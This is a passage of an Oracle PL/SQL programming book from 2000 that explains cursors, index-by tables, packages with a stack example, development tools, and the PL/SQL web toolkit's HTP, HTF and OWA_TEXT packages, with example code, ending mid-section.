CURSOR emp_cur (id IN NUMBER)
IS
   SELECT *
     FROM emp
    WHERE emp.emp_id = id;

emp_rec emp_cur%ROWTYPE;

6.2.5.2 Processing a cursor

You can process the rows of a cursor after you declare it. The first step in the process is the OPEN command, which executes the query and builds the result set. The OPEN command takes the name of the cursor to open, and must also provide values for any of the cursor's parameters. The syntax for passing cursor parameters is the same as that for procedures and functions:

OPEN emp_cur;

OPEN emp_cur(102);

Once the cursor is open, its individual rows can be processed. Usually, this happens within a loop. The FETCH statement pulls the current row from the result set into the PL/SQL record and advances the current pointer to the next record. The values of the FOUND and NOTFOUND cursor attributes indicate whether the most recent fetch returned a row and can be used as the exit condition for the loop. The cursor is positioned immediately before the first row when it is opened. Once the row is fetched into a record data structure, its individual columns can be used just like local variables. Once the records are processed, the cursor must be closed using the CLOSE command. For example:

/* Formatted by PL/Formatter v.1.1.13 */
CREATE OR REPLACE PROCEDURE print_emps
IS

   CURSOR emp_cur
   IS
      SELECT *
        FROM emp
       ORDER BY lname;

   emp_rec emp_cur%ROWTYPE;

BEGIN
   OPEN emp_cur;   -- open the cursor
   LOOP
      FETCH emp_cur INTO emp_rec;
      EXIT WHEN emp_cur%notfound;   -- exit condition
      /*
      || Print employee information. Note that the syntax for the
      || field names uses the record variable, not the cursor.
      */
      HTP.print (emp_rec.lname);
      HTP.print (get_department_name (emp_rec.dpt_id));
      HTP.print (emp_rec.lname);
   END LOOP;
   CLOSE emp_cur;
END;

As another example, here is a formal implementation of a slightly modified version of the get_emp_info procedure. In this example, only one fetch is necessary, so there is no need for a loop. However, the procedure must test to see if a matching record was found before it returns a value. This is done using the FOUND attribute:

/* Formatted by PL/Formatter v.1.1.13 */
/*
|| Procedure to return employee information
|| for the passed employee id
|| Parameters
|| ----------
||    e_id      IN  - employee to return (primary key)
||    e_num     OUT - employee number
||    e_name    OUT - employee name
||    e_dpt_id  OUT - employee'sn department name
*/
CREATE OR REPLACE PROCEDURE get_emp_info (
   e_id IN NUMBER,
   e_num OUT VARCHAR2,
   e_name OUT VARCHAR2,
   e_dpt_id OUT NUMBER
   )
IS

   -- Tests for the parameter value in the WHERE clause
   CURSOR emp_cur
   IS
      SELECT *
        FROM emp
       WHERE emp.emp_id = e_id;

   emp_rec emp_cur%ROWTYPE;

BEGIN
   OPEN emp_cur;
   FETCH emp_cur INTO emp_rec;
   IF emp_cur%found
   THEN
      e_num := emp_rec.emp_number;
      e_name := emp_rec.fname || ' ' || emp_rec.lname;
      e_dpt_id := emp_rec.dpt_id;
   ELSE
      e_num := NULL;
      e_name := NULL;
      e_dpt_id := NULL;
   END IF;
   CLOSE emp_cur;
END get_emp_info;

6.2.5.3 Implicit cursors

The previous examples were all explicit cursors. We declared the cursor, opened it, processed its rows, then closed it. There is a second type of hidden cursor called an implicit cursor that allows us to skip these steps. The SELECT...INTO command, which programmers use to save time, is the most common example of an implicit cursor. Here's an example that loads information from a table into a local variable, all in one step:

SELECT emp_rec.emp_number,
       emp_rec.fname || ' ' || emp_rec.lname,
       emp_rec.dpt_id
  INTO e_num, e_name, e_dpt_id
  FROM emp
  WHERE emp.emp_id = e_id;

Despite its brevity, there are three reasons to avoid SELECT...INTO:

  • SELECT...INTO is slower than an explicit cursor because it makes two fetches instead of one. The first fetch determines how many rows the query returns, and the second fetch actually retrieves the data and assigns the columns to the variables.

  • SELECT...INTO raises an exception if the underlying query doesn't return exactly one row. If it returns no rows, it raises the NO_DATA_FOUND exception. If it finds more than one row, it raises the TOO_MANY_ROWS exception. This behavior often results in unhandled exceptions, because the harried programmer, in a rush to finish, makes a wrong assumption about the query.

  • SELECT...INTO makes you lazy. We should take positive steps to prevent foreseeable errors, not simply respond to them as if they're uncontrollable acts of God. The extra time it takes to implement a single-row SELECT using an explicit cursor almost always outweighs the short-term benefits of the SELECT...INTO command.

6.2.6 Index-by Tables (Arrays)

The last construct we'll look at is the index-by table, PL/SQL's version of an array (prior to Oracle8i, these were called PL/SQL tables). Like a true array, an index-by table is made up of elements indexed by unique integers. This, however, is about as far as the analogy goes. Table 6.1 summarizes the difference between real arrays and index-by tables.

Table 6.1: Differences Between Real Arrays and Index-by Tables
Real Array | Index-by Table
Multidimensional. | One-dimensional.
Contains a fixed number of elements. | Contains an "unlimited" number of elements.
Memory is allocated for every element in the array, even if it's never used. | Memory is allocated only when an element is added.
Elements are consecutive (i.e., a(1), a(2), a(3) . . . a(N)). | Elements are non-consecutive (i.e., a(1), a(5632), a(1013), a(999), . . . ).

In reality, an index-by table is much closer to a linked-list or single-column table than to an array. Despite this (or because of it, depending on the application), it's an extremely useful construct with a wide range of applications. In this section, we'll see how to declare an array, assign values to its elements, and then retrieve the values.

6.2.6.1 Creating an index-by table

There are two steps in creating an index-by table. The first is to define a new datatype for the table. The second is to declare the actual table variable itself by assigning it to the new table datatype created in the first step.

You define a table's datatype by placing the following command in the declaration section of a procedure or function:[6]

[6] You can also declare the type in a package specification or body. We'll see how to do this in the next section.

TYPE table_type_name IS TABLE OF element_datatype
   INDEX BY BINARY_INTEGER;

The table_type_name is the name of the index-by table datatype (not the name of the table variable itself ), and the element_datatype specifies the type of elements the table contains. These elements can be any simple scalar datatype, like a number, date, or string; unfortunately, you can't use complex types like records or other index-by tables. You can either define the type directly (for example, by declaring it as a NUMBER) or use an anchored declaration to link it to a table in a column. Here are a few examples of declaring an index-by table datatype:

TYPE monthly_sales_type IS TABLE OF NUMBER
   INDEX BY BINARY_INTEGER;

TYPE ssn_array_type IS TABLE OF VARCHAR2(9)
   INDEX BY BINARY_INTEGER;

TYPE emp_array_type IS TABLE OF emp.lname%TYPE
   INDEX BY BINARY_INTEGER;

You can create a table variable after you've defined the table datatype. These are like normal variable declarations, except that they use the datatypes you defined in the previous step. Here are a few examples of creating a table variable:

sales_by_month monthly_sales_type;

ssn_array ssn_array_type;

emp_name_array emp_array_type;

You can begin adding elements to the table after you have created its type and an associated variable.

6.2.6.2 Adding elements to an index-by table

You assign values to an index-by table by associating its elements with unique integer indexes. The syntax is similar to that used in C or Pascal. Here are some examples for a table of string elements:

emp_name_array  (16) := 'albee';
emp_name_array  (21) := 'mcmanus';
emp_name_array  (1043) := 'jenkins';
emp_name_array  (1013) := 'harrington';

Unlike most 3GL languages, where the index is a fixed offset from the start of the array, the index of an index-by table is basically a primary key. Assigning an element for the first time is similar to inserting a record into a normal database table. Subsequent changes to the value are like UPDATE statements.

6.2.6.3 Retrieving elements from an index-by table

You retrieve the value for an element using the same syntax you would for a 3GL language. Here are a few examples:

HTP.print (emp_name_array (21));
HTP.print (emp_name_array (1013));
IF emp_name_array (1043) = 'jenkins'
THEN
   HTP.print ('Hi, Garry.');
END IF;

There is one major difference between the retrieval of an index-by table element and a 3GL array element: you can only retrieve elements to which you have previously assigned values. The retrieval process is a lot like the SELECT...INTO statement we looked at in the section on cursors: the RDBMS raises a NO_DATA_FOUND exception if the element doesn't exist. To prevent this, make sure you initialize your arrays before you use them.

Previous: 6.1 Structured Programming in PL/SQL | Oracle Web Applications: PL/SQL Developer's Introduction | Next: 6.3 Packages
6.1 Structured Programming in PL/SQL | Book Index | 6.3 Packages
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 6] 6.3 Packages

Oracle Web Applications: PL/SQL Developer's Introduction

Oracle Web Applications: PL/SQL Developer's IntroductionSearch this book

6.3 Packages

Now that we've looked at PL/SQL's structure and its most common programming constructs, we're ready to group these elements into tidy little structures called packages. A package is a container (hence the name) for other PL/SQL elements, such as variables and constants, procedures and functions, and datatype definitions.

A package has two parts: a specification and a body. The specification is a sort of table of contents that lists the items in the package. The body contains the implementations for each item. For example, the specification tells us "This package contains a procedure named `foo', which has the following parameters." The body of the package contains the actual implementation of foo.

Packages are the most powerful and useful PL/SQL constructs because they help us build standard code libraries with well-defined application programming interfaces (APIs). In a web environment, for example, you can create standard libraries to handle security, page formatting, or list of values (LOV) generation. Each time you build a new application, you can just plunk in calls to these standard libraries, rather than reinventing them for each new system. Packages are also excellent for building abstract data types (ADTs), a fancy terminology for structures like stacks, lists, and queues.

Prebuilt packages with clear APIs encourage software reuse, the Holy Grail of software engineering. In this final section, we'll learn how to use packages effectively. We'll start by looking at the structure of the specification and the body, and then move on to how to use a package within other programs. After that, we'll look at how to hide the implementation details of a package to create a "black box." Finally, we'll look at package persistence.

6.3.1 The Package Specification

The specification defines the package's API, which governs every aspect of how the package is used. The specification lists the headers of the procedures and functions in the API, as well as any variables, types, cursors, or constants necessary to interface with the package. These last items are global variables, accessible both from inside and outside the package. The headers and declarations in the specification are called public elements because they are the interface between the package and the outside world.

You might see the specification as an afterthought, if not a downright nuisance, that stands in the way of your real work. Nothing could be further from the truth. The success or failure of a package almost always depends on a clean, crisp interface that is simple to understand and use.

6.3.2 The Package Body

The package body contains the actual code for the modules in the specification. It must include a complete implementation of each of these modules. Additionally, it can also include procedures and functions not listed in the specification, as well as declarations for variables, types, cursors, and constants. These elements, invisible to the outside world, are private because they can be referenced only from within the body itself.

6.3.3 Example

Designing a good package takes practice. A package should be rich enough to support a wide variety of complex activities, yet simple enough to grasp quickly. As with any other art, the best place to learn package design is from the classics, so in this section we'll create a stack package based on an index-by table. Here's the specification:

/* Formatted by PL/Formatter v.1.1.13 */
CREATE OR REPLACE PACKAGE stack
IS

   /*------------------------------------------------------
   || Global type declaration
   */------------------------------------------------------
   TYPE stack_array IS TABLE OF VARCHAR2(2000)
      INDEX BY BINARY_INTEGER;

   /*-------------------------------------------------------
   || Global API declaration
   */-------------------------------------------------------
   -- Initialize the stack
   PROCEDURE init;

   -- Push an item onto the stack
   PROCEDURE push (item IN VARCHAR2);

   -- Return the first element on the stack
   FUNCTION pop
      RETURN VARCHAR2;

   -- Return a boolean if the stack is empty
   FUNCTION is_empty
      RETURN BOOLEAN;

   -- Copy the stack into an array
   PROCEDURE copy_to_array (
      s OUT stack_array,
      num_elements OUT NUMBER
      );

END stack;

Our next step is to actually implement each of the procedures and functions listed in the specification. Here's the body of the stack package:

/* Formatted by PL/Formatter v.1.1.13 */
CREATE OR REPLACE PACKAGE BODY stack
IS

   /*------------------------------------------------------
   || Local declarations
   */------------------------------------------------------
   -- Declare stack data structure
   local_stack stack_array;
   -- Declare index to top of stack
   top NUMBER DEFAULT 0;

   /*-------------------------------------------------------
   || Implementation
   */-------------------------------------------------------

   /*
   || Initialize the stack
   */
   PROCEDURE init
   IS
   BEGIN
      top := 0;
   END init;

   /*
   || Push an item onto the stack.
   || Since PL/SQL arrays are unconstrained, we never have
   || to worry about pushing too many elements!
   */
   PROCEDURE push (item IN VARCHAR2)
   IS
   BEGIN
      top := top + 1;
      local_stack  (top) := item;
   END push;

   /*
   || Return a boolean if the stack is empty
   */
   FUNCTION is_empty
      RETURN BOOLEAN
   IS
   BEGIN
      IF top = 0
      THEN
         RETURN TRUE;
      ELSE
         RETURN FALSE;
      END IF;
   END is_empty;

   /*
   || Return the first element on the stack.
   || Return NULL if the stack is empty.
   */
   FUNCTION pop
      RETURN VARCHAR2
   IS
      item_to_return VARCHAR2(2000);
   BEGIN
      IF is_empty
      THEN
         item_to_return := NULL;
      ELSE
         item_to_return := local_stack (top);
         top := top - 1;
      END IF;
      RETURN item_to_return;
   END pop;

   /*
   || Copy the stack into an array
   */
   PROCEDURE copy_to_array (
      s OUT stack_array,
      num_elements OUT NUMBER
      )
   IS
   BEGIN
      -- Set the number of elements
      num_elements := top;
      -- Load each element into the array
      FOR i IN 1 .. top
      LOOP
         s  (i) := local_stack (i);
      END LOOP;
   END copy_to_array;

END stack;

6.3.4 Using a Package

After we've created the package specification and body, we can start using it in other procedures and functions. You use the following syntax to refer to a public element (variable, procedure, function, etc.) in a package:

package_name.public_element_name

The following sample illustrates how to use the stack package developed in the last section:

/* Formatted by PL/Formatter v.1.1.13 */
CREATE OR REPLACE PROCEDURE test_stack
IS
   stack_copy stack.stack_array;
   stack_size NUMBER;
BEGIN
   --Push some test data onto the stack
   FOR i IN 1 .. 10
   LOOP
      stack.push (i);
   END LOOP;

   -- Make a copy of the stack

   stack.copy_to_array (stack_copy, stack_size);

   -- Pop all elements off the stack
   WHILE NOT stack.is_empty
   LOOP
      DBMS_OUTPUT.put_line (stack.pop);
   END LOOP;

   -- Print the copied elements
   FOR i IN 1 .. stack_size
   LOOP
      DBMS_OUTPUT.put_line (stack_copy (i));
   END LOOP;

END test_stack;

6.3.5 Information Hiding

You might have noticed in the stack example that we declared the local_stack and the top variable inside the body, rather than in the specification. This is an example of information hiding, a technique that's used to hide a package's implementation details from its users.

A package should be a black box; input comes in one side and predictable output goes out the other. The details between these steps should be invisible to everyone except the package's developer. It's amazing how often knowing how something works can get us into trouble. How many times have you written one program to take advantage of a bug in another? These shortcuts turn bugs into permanent fixtures. Information hiding eliminates the possibility of this problem by forcing everyone to use the package the way it was intended to be used.

Access to the internal workings of a package can cause problems even when the workaround seems perfectly innocent. To return to our original example, if the local_stack and top variables in the stack example were declared in the package specification, and not hidden away in the body, a developer in a rush might be tempted to write a program to bypass the stack directly, as you can see here:

/*
|| Quick procedure to print stack
*/
CREATE OR REPLACE PROCEDURE show_stack
   i NUMBER DEFAULT 0;
IS
BEGIN
   FOR i IN REVERSE 1 .. STACK.top
   LOOP
      DBMS_OUTPUT.put_line (STACK.local_stack (i));
   END LOOP;
END;

This shortcut depends on the stack being implemented as an index-by table. If we decided to redesign the package to represent the stack in another way (for example, using an object type we can store directly in the database), it would break this program and every other program that made a similar use of the package's public data structures.

6.3.6 Variable Persistence Throughout a Session

Package variables, whether they are declared in the specification or the body, maintain their values throughout a session. All values are initialized when a session begins and are lost when it ends. This is called persistence because the values remain, or persist, even when the package is not being directly used. Only package variables declared as part of the specification or body persist. Variables declared inside a procedure or function do not.

For example, suppose you log into SQL*Plus and push a few elements onto the stack. After that, you execute a few SELECT statements, issue some updates, and describe a table or two. Finally, before you're ready to log out, you call the test_stack procedure. When it executes, not only does it print "1" through "10," it also prints the elements you manually added at the beginning of the session. PL/SQL remembered the previous elements, even though you've been doing other things. However, if you logged out and reconnected before running the test_stack procedure, the previous elements disappear, because variables persist only throughout a single session.

In Chapter 7, The PL/SQL Toolkit, we'll look at some strategies to mimic persistence in the web environment.

Previous: 6.2 Programming Constructs | Oracle Web Applications: PL/SQL Developer's Introduction | Next: 6.4 PL/SQL Tools
6.2 Programming Constructs | Book Index | 6.4 PL/SQL Tools
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 6] 6.4 PL/SQL Tools

Oracle Web Applications: PL/SQL Developer's Introduction

Oracle Web Applications: PL/SQL Developer's IntroductionSearch this book

6.4 PL/SQL Tools

There are many tools you can use to improve your PL/SQL development productivity. Table 6.2 shows some of the more popular, along with the web sites where they can be found, so you can download and experiment. In the following subsections, we'll look at two of the most helpful tools, TOAD and PL/Formatter.

Table 6.2: Some Handy PL/SQL Development Tools
Tool | Web Site
CAST Workbench | http://www.castsoftware.com
FROG (Funky Resource for Oracle Gorillas) | http://www.507pm.com/pcs
Oracle Procedure Builder | http://www.oracle.com
PLEdit | http://www.benthicsoftware.com
PL/Formatter | http://www.revealnet.com
SQL/Expediter | http://www.compuware.com
SQL Navigator | http://www.quests.com
SQL*Object Builder | http://www.idb-consulting.fr
SQL Programmer | http://www.sfi-software.com
SQL Station | http://www.platinum.com
TOAD (Tool for Oracle Application Developers) | http://www.toadsoft.com

6.4.1 TOAD

In the bad old days, developers wrote their PL/SQL programs with a text editor like vi or Notepad, then compiled them with SQL*Plus. If the program failed to compile because of a syntax error, about the only tool you had to help track down the error was the SQL command:

SELECT * FROM user_errors

Even then, you got little more information than a generic Oracle syntax error and an approximate line number where the error might have occurred. You had to go back to the code and hunt and peck to find the problem. It could take hours to track down a misplaced quote mark or a misspelled keyword (ELSEIF instead of ELSIF was really hard to find).

Fortunately, third-party PL/SQL editors like TOAD (Tool for Oracle Application Developers) have changed all that. TOAD is a SQL and PL/SQL editor, object browser, query analyzer, and table data editor (finally, a tool that lets you enter data into a table in spreadsheet format!) all rolled into one. Figure 6.1 shows TOAD's PL/SQL editor.

Figure 6.1: The TOAD PL/SQL Editor

Frankly, TOAD is awesome, and if you're doing any Oracle development, whether related to the Web or not, it's a must-have tool. Perhaps the most unbelievable thing about TOAD is that you can get it for free! Originally written by Jim McDaniel ("The Toadman") as freeware, TOAD is now fully supported by Quest Software, a maker of other Oracle tools. The downside is that the free version is no longer being updated with new features, so it doesn't support the new Oracle8/8i features. However, free is a very reasonable price! You can download the freeware version from http://www.toadsoft.com, and the commercially supported version from http://www.quests.com/toad/toad_info.html.

6.4.2 PL/Formatter

PL/Formatter, another productivity tool, is a PL/SQL code formatter from RevealNet (http://www.revealnet.com). PL/Formatter "pretty-prints" ugly, mangled code into the format recommended by Steven Feuerstein, the guru of PL/SQL development.

In addition to just satisfying your aesthetic sensibilities, well-formatted source code helps make your programs more readable and maintainable. Figure 6.2 shows PL/Formatter in action; the top half of the screen shows the original code and the bottom half shows the code after it's been reformatted.

Figure 6.2: RevealNet's PL /Formatter

Previous: 6.3 Packages | Oracle Web Applications: PL/SQL Developer's Introduction | Next: 7. The PL/SQL Toolkit
6.3 Packages | Book Index | 7. The PL/SQL Toolkit
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 7] The PL/SQL Toolkit

Oracle Web Applications: PL/SQL Developer's Introduction

Oracle Web Applications: PL/SQL Developer's IntroductionSearch this book
Previous: 6.4 PL/SQL Tools Chapter 7 Next: 7.2 Text Processing

7. The PL/SQL Toolkit

Contents:
Communicating with the Outside World
Text Processing
Maintaining State
Improving Productivity

The PL/SQL toolkit is a set of PL/SQL packages supplied by Oracle for use in developing web applications. These packages are used to generate HTML dynamically, perform text operations, and improve developer productivity. Table 7.1 shows an alphabetical listing of the packages included in the PL/SQL toolkit, along with an explanation of their uses.

Table 7.1: PL/SQL Toolkit Packages
Package Name | Use
HTF | Parses HTML
HTP | Generates HTML
OWA_COOKIE | Stores cookies
OWA_OPT_LOCK | Performs record locking
OWA_PATTERN | Searches and replaces text
OWA_SEC | Manages security
OWA_TEXT | Represents text
OWA_UTIL | Improves productivity

The sections that follow group these packages in categories according to their functionality. HTF and HTP are used for communicating with the outside world; OWA_TEXT and OWA_PATTERN are used for text processing; OWA_COOKIE and OWA_OPT_LOCK are used for maintaining state. The last two packages, OWA_UTIL and OWA_SEC, are used for maintaining productivity and security.

In addition to learning how to use dozens of procedures, we'll keep an eye on what these packages can teach us about good design. After all, the developers who created these packages are some of the most talented PL/SQL programmers in the world. We would be wise to learn from their examples.

7.1 Communicating with the Outside World

When scripting languages like Perl are used to develop dynamic resources, their output is sent to the standard output (stdout) device, then funneled back to the browser. Because PL/SQL cannot communicate directly with stdout, the toolkit includes a package, called HTP, that mimics this behavior.

7.1.1 HTP: Generating HTML

The HTP package is a sort of web-enabled version of DBMS_OUTPUT, a built-in package that provides basic output capabilities such as printing text. Like DBMS_OUTPUT, HTP contains commands that store text in a buffer. When a procedure using the package terminates, the contents of the output buffer are "printed" and returned to the user. This buffering is one difference between PL/SQL toolkit programs and standard CGI programs, which immediately return output to the user. As such, the size of the buffer limits the size of a page. In most cases, this is not a problem; however, you should be aware that if you choose to dump a million-row table onto a single page, you will quickly encounter this limit. Table 7.2 shows the procedures included in the HTP package; HTP also includes a large number of wrapper procedures that correspond to various HTML tags.

Table 7.2: Various HTP Procedures
Procedure | Parameters | Description
ANCHOR | Depend on tag | Generates an anchor tag
PRINT | Any value | Outputs any value passed as a parameter
Various wrapper procedures (e.g., HTMLOPEN) | Depend on tag | Simplifies coding of an HTML tag

The HTP procedure PRINT, which is analogous to DBMS_OUTPUT.PUT_LINE, simply outputs the value that is passed as a parameter. Here, for example, is a procedure that generates a page that prints "Hello, World!":

CREATE OR REPLACE PROCEDURE hello_world
IS
BEGIN
   HTP.print ('<html>');
   HTP.print ('<head>');
   HTP.print ('<title>You knew it was coming...</title>');
   HTP.print ('</head>');
   HTP.print ('<!-- ');
   HTP.print ('This phrase is in every computer book.');
   HTP.print ('--!>');
   HTP.print ('<body bgcolor=blue>');
   HTP.print ('And here it is .... Hello, World!');
   HTP.print ('</body>');
   HTP.print ('</html>');
END;

More sophisticated tags require parameters to be included in the wrapper procedure. Each parameter corresponds to a particular tag attribute. As a general rule, a parameter is named after the HTML attribute it represents and is used to complete a template based on the tag's syntax. This parameter can take any valid PL/SQL value, including a literal, variable, concatenation, or function. Optional attributes are declared as DEFAULT NULL.

To make the HTML syntax more palatable to Oracle developers, HTP has a number of specialized wrapper procedures that correspond to individual tags. These procedures hide HTML's ugly syntax from developers, who are more familiar with PL/SQL and other 3GLs. For example, rather than embedding <html> directly into a program, as we've done in the previous example, the HTP package provides a more aesthetically pleasing procedure called HTMLOPEN to perform the same function. Other HTP wrapper procedures include HTP.HTMLCLOSE for </html>, and HTP.HEADOPEN and HTP.HEADCLOSE for <head> and </head>, respectively.

Although there are many benefits in using an API to isolate programs against underlying changes, the wrapper procedures often cause more problems than they prevent. During development, you may find yourself flipping through manuals to figure out the order of a particular procedure's parameters or trying to match some obscure tag to its toolkit equivalent. Once you locate the procedure, you often find that there is no clear way to create the complex nesting required by many of the most useful tags, such as those for forms or tables. In general, code is simply much more readable if you can see the actual HTML, rather than hiding it away behind a complex API.

By convention, the parameters for these attributes are preceded by a single character indicating the parameter's datatype. VARCHAR2 parameters, denoted by a "c," are by far the most common. "N" and "d" denote, respectively, the integer and date datatypes, and appear mainly in overloaded or specialized procedures.

Here, for example, is the declaration -- as it appears in the HTP specification -- for a wrapper procedure that generates an anchor (<a>) tag:

PROCEDURE anchor (
   curl IN VARCHAR2,
   ctext IN VARCHAR2,
   cname IN VARCHAR2 DEFAULT NULL,
   cattributes IN VARCHAR2 DEFAULT NULL
   )

The parameter values are used to complete a template based on the tag the procedure represents. The ANCHOR procedure has the following template:

<a href="curl" name="cname" cattributes>ctext</a>

Calling the ANCHOR procedure with the following values returns a link to the O'Reilly home page on the Web:

HTP.anchor (
   'www.oreilly.com',
   'O' || CHR (39) || 'Reilly Homepage',
   'oreilly_link',
   'target=_blank'
);

The URL for the link is http://www.oreilly.com, its name is oreilly_link, and its text (the part that shows up on the user's screen) is "O'Reilly Homepage." The call uses the cattributes parameter to cause the page to open in a new window. Since HTML has such a flexible syntax that a tag may have dozens of optional attributes, most of the procedures in the HTP package include the cattributes parameter as a sort of catch-all within the tag. Here is the URL returned by the call:

<A HREF='www.oreilly.com' NAME='oreilly_link' target=blank>O'Reilly Homepage</A>

Individually, these commands are of limited use. You can combine the various procedures, however, to create a complete page. Here is the "Hello, World" program written using the procedures from HTP:

CREATE OR REPLACE PROCEDURE hello_world2
IS
BEGIN
   HTP.htmlopen;
   HTP.headopen;
   HTP.title ('You knew it was coming...');
   HTP.headclose;
   HTP.comment ('This phrase is in every computer book.');
   HTP.bodyopen (cattributes => 'body bgcolor=blue');
   HTP.print ('And here it is .... Hello, World!');
   HTP.bodyclose;
   HTP.htmlclose;
END;

The other wrapper procedures in the package work in exactly the same way as the ANCHOR procedure. In the next section, we'll concentrate on how to make the best use of the wrapper procedures, rather than focus on the gritty details of their API.

7.1.2 WebAlchemy

As you can imagine, developing sophisticated interfaces by translating raw HTML into its PL/SQL equivalent is enormously tedious. Fortunately, there is a free tool that does much of this work: WebAlchemy, written by Alan Hobbs of Oracle Consulting, Australia, translates a static HTML file into a corresponding PL/SQL procedure. By combining WebAlchemy with any of the dozens of GUI-based HTML editors, you can create complex screens in PL/SQL quickly and easily.

WebAlchemy is simple enough to use that you probably won't even need any documentation. Figure 7.1 shows the main screen, whose menu options should be familiar to any user of PC software. Using the program is simply a matter of opening an HTML file and using the "Generate PL/SQL" option to generate a corresponding procedure. Figure 7.1 illustrates this procedure. The raw HTML file, hello_world.html, appears on the left panel; the right panel shows the PL/SQL procedure created by the "Generate PL/SQL" option.

Figure 7.1: WebAlchemy main screen

You can download WebAlchemy from:

http://www.users.bigpond.com/ahobbs/

At first blush, WebAlchemy inspires a sense of euphoria, because it promises to eliminate the need to know both HTML and the PL/SQL toolkit. However, although WebAlchemy is useful for creating static pages whose layout is known ahead of time, most programs generate documents dynamically from information stored in a table. There is simply no getting around the fact that you must understand how to manually construct an HTML document. Fortunately, this is not particularly difficult.

7.1.3 HTF: Parsing HTML

The HTF package turns HTP procedures into functions that return the HTML output as a formatted string. Table 7.3 summarizes the functions available in the HTF package.

Table 7.3: Various HTF Functions
Function | Parameters | Description
ANCHOR | Depend on tag | Stores anchor tag as a string
PRINT | Any value | Stores any value in a string

For example, the following procedure stores the results of the HTF.ANCHOR function in a string, and then uses the PL/SQL built-in SUBSTR function to print the result on two lines, using the DBMS_OUTPUT package:

CREATE OR REPLACE PROCEDURE htf_test
IS
   anchor_string VARCHAR2(500);
BEGIN
   anchor_string :=
      HTF.anchor (
         'http://www.ora.com',
         'O' || CHR (39) || 'Reilly',
         'ora_link',
         'target=_blank'
      );
   DBMS_OUTPUT.put_line (SUBSTR (anchor_string, 1, 29));
   DBMS_OUTPUT.put_line (SUBSTR (anchor_string, 30, 50));
END;

Previous: 6.4 PL/SQL Tools | Oracle Web Applications: PL/SQL Developer's Introduction | Next: 7.2 Text Processing
6.4 PL/SQL Tools | Book Index | 7.2 Text Processing
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 7] 7.2 Text Processing

Oracle Web Applications: PL/SQL Developer's Introduction

Oracle Web Applications: PL/SQL Developer's IntroductionSearch this book

7.2 Text Processing

The enormous popularity of Perl is due in large part to its sophisticated text processing capabilities. A single Perl command can replace dozens of PL/SQL INSTR and SUBSTR operations. Additionally, Perl's pattern matching capabilities are well suited for processing and validating the text entered into HTML forms.

The PL/SQL toolkit has two packages that bring a subset of these capabilities to PL/SQL. The first, OWA_TEXT, manipulates large chunks of text. The second, OWA_PATTERN, allows developers to use sophisticated search patterns to perform many of the text operations found in Perl.

Beyond their mere utility, these two packages are interesting examples of good package design. OWA_TEXT is similar to the abstract datatypes described in Chapter 6, PL/SQL. OWA_PATTERN builds on OWA_TEXT to create dozens of variations of the search and replace procedure, each useful in particular circumstances.

7.2.1 OWA_TEXT: Representing Text

The largest PL/SQL string can contain 32,767 characters. Unfortunately, there are many cases where we might like to process larger chunks of text. A document indexing system, for example, must almost certainly process files much larger than 32K.[1] The OWA_TEXT package overcomes the 32K limitation by breaking text streams into smaller pieces that are stored as elements in a PL/SQL array.

[1] The human resources dress code guidelines at some companies probably exceed a megabyte.

Additionally, it is often useful to treat the components of a string as a single entity (e.g., a sentence as an array of words). OWA_TEXT is ideal for this type of application. In practice, though, you'll probably not use OWA_TEXT directly; instead, it's used to provide more flexibility to the OWA_PATTERN package discussed later in this chapter.

7.2.1.1 Data structures

OWA_TEXT's specification declares four data structures. The first two, vc_arr and int_arr, are PL/SQL arrays that are the building blocks of the more complex types. vc_arr is a 32K string array; int_arr holds indexes to the interesting rows of vc_arr. The declarations for these two datatypes are:

TYPE vc_arr IS TABLE OF VARCHAR2(32767)
   INDEX BY BINARY_INTEGER;

TYPE int_arr IS TABLE OF INTEGER
   INDEX BY BINARY_INTEGER;

The third data structure, called multi_line, is used to store information about an entire text stream. multi_line contains three fields: a vc_arr array to hold the individual rows of the stream, an integer to hold the number of rows in the vc_arr array, and a Boolean flag to indicate the presence of a partial row. Its declaration is:

TYPE multi_line IS RECORD (
   rows vc_arr,
   num_rows INTEGER,
   partial_row BOOLEAN
);

The fourth data structure, row_list, is used to represent pointers into the rows in a multi_line structure. This structure is generally used by other toolkit packages, such as OWA_PATTERN, discussed later in this chapter. The declaration for the row_list structure is:

TYPE row_list IS RECORD (
   rows int_arr,
   num_rows INTEGER
);

7.2.1.2 Procedures

The procedures in OWA_TEXT define a limited set of operations similar to those of a classic linked list. There are procedures to create a new multi_line structure, to add a new row onto the end of an existing structure, and even to print its contents. Table 7.4 summarizes these procedures:

Table 7.4: Various OWA_TEXT Procedures
Procedure | Parameters | Description
ADD2MULTI | stream IN VARCHAR2 mline OUT multi_line continue IN BOOLEAN DEFAULT TRUE | Appends the passed stream to the multi_line structure. If the continue flag is TRUE, the stream is appended to the last line of the multi_line array. If FALSE, the stream is appended as the last row.
NEW_MULTI | mline OUT multi_line | Creates a new, blank multi_line. There is also a functionalized version that returns an empty structure.
NEW_ROW_LIST | rlist IN row_list | Creates a new row_list structure. The command can be used as either a procedure or a function.
PRINT_MULTI | mline IN multi_line | Prints the content of the multi_line data structure using HTP.PRINT.
PRINT_ROW_LIST | rlist IN row_list | Prints the row_list using HTP.PRINT.
STREAM2MULTI | stream IN VARCHAR2 mline OUT multi_line | Converts a VARCHAR2 into a multi_line.

7.2.1.3 Example

